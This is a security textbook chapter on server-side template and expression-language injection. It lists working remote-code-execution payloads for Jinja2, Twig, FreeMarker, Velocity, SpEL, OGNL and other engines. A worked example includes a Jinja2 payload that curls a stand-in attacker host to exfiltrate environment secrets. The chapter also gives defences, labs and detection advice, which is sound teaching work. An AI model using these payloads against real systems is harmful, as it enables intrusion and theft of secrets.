Chapter 36 — Server-side template and expression-language injection
In one sentence
If user input is concatenated into a template's source (not passed as data),
the template engine evaluates it — {{7*7}} becomes 49 — and from there,
engine-specific gadget chains reach the filesystem and the shell.
Where we are
G1 Ch 42 covered injection generally; SSTI is the template-engine special case, and Expression-Language injection (SpEL, OGNL, MVEL, JEXL) is its Java cousin. Both are frequently full RCE.
How it works
Detection — differential evaluation:
Inject a polyglot into every reflected parameter:
${{<%[%'"}}%\
and engine-specific math:
{{7*7}} Jinja2, Twig, Nunjucks -> 49
${7*7} FreeMarker, Thymeleaf, JSP EL, SpEL -> 49
#{7*7} Ruby (some), JSF EL
<%= 7*7 %> ERB, EJS
{7*7} (rare)
${7*'7'} type-coercion differential to distinguish engines
If `49` (or an error revealing the engine) comes back where `7*7`
went in -> SSTI. `${7*7}` rendering but `{{7*7}}` not -> FreeMarker/
Velocity/EL family; the reverse -> Jinja/Twig family.
Escalation (a few canonical chains):
Jinja2 (Python):
{{ ''.__class__.__mro__[1].__subclasses__() }} -> enumerate classes
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os')
.popen('id').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
(SandboxedEnvironment raises the bar but has had bypasses.)
Twig (PHP):
{{ ['id']|filter('system') }}
{{ _self.env.registerUndefinedFilterCallback('exec') }}
{{ _self.env.getFilter('id') }}
FreeMarker (Java):
<#assign ex="freemarker.template.utility.Execute"?new()>${ex('id')}
${"freemarker.template.utility.ObjectConstructor"?new()(...)}
Velocity (Java):
#set($e=$x.class.forName('java.lang.Runtime').getRuntime())
$e.exec('id')
Thymeleaf (Java, expression preprocessing):
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
Smarty (PHP): {system('id')} {php}...{/php}
Handlebars / Pug / Nunjucks (JS): constructor/prototype chains ->
require('child_process').execSync('id')
EXPRESSION LANGUAGE:
SpEL (Spring): ${T(java.lang.Runtime).getRuntime().exec('id')}
-- Spring Data / SpEL in @Value, @PreAuthorize, query hints, SSTI
via Thymeleaf.
OGNL (Struts2): %{(#a=@java.lang.Runtime@getRuntime().exec('id'))}
-- the S2-0xx CVE family.
MVEL / JEXL / OGNL in other frameworks -- same shape.
Defence:
[ ] NEVER build a template from user input by concatenation. User data
is a CONTEXT VARIABLE passed to a pre-defined template:
render("email.html", {name: user.name}) // safe
render("Hello " + user.name + "!") // SSTI
[ ] Don't let users supply templates. If a product feature genuinely
needs user-authored templates (email designer, report builder):
- use a LOGIC-LESS engine (Mustache) or a strict sandbox
(Jinja2 SandboxedEnvironment, Twig sandbox extension) -- and
know sandboxes have had escapes; keep them patched.
- render in an ISOLATED process: no filesystem beyond what's
needed, no network egress, seccomp, CPU/mem/time limits,
non-root -> a sandbox escape yields a locked box.
- allowlist the variables/filters/tags exposed to the template.
[ ] Expression Language: don't pass user input into SpEL/OGNL/MVEL
evaluation contexts (Spring `@Value`, `SpelExpressionParser` on
user data, Struts OGNL). Use parameterised APIs; keep the framework
patched (the Struts OGNL and Spring SpEL CVE history is long).
[ ] WAF signatures for `{{`, `${T(`, `#{`, `__$` help as defence in
depth, not as the fix (encoding/whitespace bypasses).
Worked example
SSTI in an email-notification "subject template" feature.
SecureShop lets tenant admins customise notification subjects:
"Order {{order_id}} shipped to {{customer_name}}"
The code does: Jinja2 Environment().from_string(admin_supplied_subject)
.render(order_id=..., customer_name=...)
A malicious (or compromised) tenant admin sets the subject to:
{{ cycler.__init__.__globals__.os.popen(
'curl http://attacker/$(cat /proc/self/environ|base64 -w0)').read() }}
Every time an order ships, the notification worker executes it -> RCE
on the notification worker, env vars (secrets) exfiltrated, then pivot.
FIX:
- Subjects are NOT templates. Use a fixed set of named placeholders
with plain string substitution over an ALLOWLIST:
SAFE_VARS = {"order_id", "customer_name", "tenant_name"}
out = re.sub(r"\{\{(\w+)\}\}",
lambda m: str(ctx[m.group(1)]) if m.group(1) in SAFE_VARS
else m.group(0), subject)
No engine, no evaluation.
- If richer templating is a real requirement: Jinja2
`SandboxedEnvironment`, an allowlist of filters, rendered in a
gVisor pod (Part 4 Ch 21) with no egress and no secrets in env,
CPU/time capped.
- Alert on the notification worker spawning a child process (Falco,
Part 4 Ch 20).
Practice (60 min)
- PortSwigger Academy "Server-side template injection" track: detection, then RCE in ERB, Tornado, Freemarker, Handlebars, Django, and via documentation (identify the engine, find the chain), plus the SpEL/Thymeleaf lab.
- Locally: a Flask app that does
render_template_string("Hi " + name). Confirm{{7*7}}, then get RCE via thecycler/configchain. Then switch torender_templatewithnameas context and re-test — inert. - Build the "user-authored template" feature safely:
SandboxedEnvironment+ filter allowlist + a locked-down subprocess/container. Try the standard escapes; document what the sandbox + isolation stop. - A Spring app with
@Value("#{...}")fed user input (orSpelExpressionParseron a request param) — get RCE viaT(java.lang.Runtime); fix by not evaluating user input as SpEL. - Add a Semgrep rule flagging
from_string/render_template_string/SpelExpressionParser/Environment().from_stringwith non-literal args.
Common mistakes
- Building template strings by concatenation. The one rule: user data is context, never source.
- Offering user-authored templates with only a sandbox. Sandboxes (Jinja2, Twig) have documented escapes. Sandbox and process isolation and variable allowlist, kept patched.
- Passing user input into SpEL/OGNL/MVEL. Spring
@Value, Struts OGNL, query hints — all RCE-prone. Don't. - Assuming
{{ }}not rendering means safe. Try${ },#{ },<%= %>,__${ }— different engines. - Relying on a WAF. Whitespace, comments, string concatenation, and attribute tricks bypass signatures.
- Not monitoring for child-process spawns in template/notification/report workers — your detection for a successful chain.
Check yourself
- What distinguishes SSTI from ordinary output injection (XSS)?
- How do you detect SSTI and roughly fingerprint the engine?
- Give a Jinja2 payload that reaches
osfrom a template context. - What is Expression-Language injection and name two frameworks where it's historically been RCE.
- If a feature genuinely needs user-authored templates, what three layers make it acceptable?
- Why isn't a template-engine sandbox alone sufficient?
Further reading
- Research: PortSwigger — "Server-Side Template Injection" (James Kettle,
2015) — the paper that named the class.
tplmapand the PayloadsAllTheThings SSTI/EL sections. - Labs: PortSwigger Academy SSTI track.
- EL: the Apache Struts S2 advisories (OGNL), Spring SpEL CVEs (e.g. CVE-2022-22963/22965 context), the "SpEL injection" write-ups.
- Sandboxes: Jinja2
SandboxedEnvironmentdocs and its historical bypasses; Twig sandbox extension.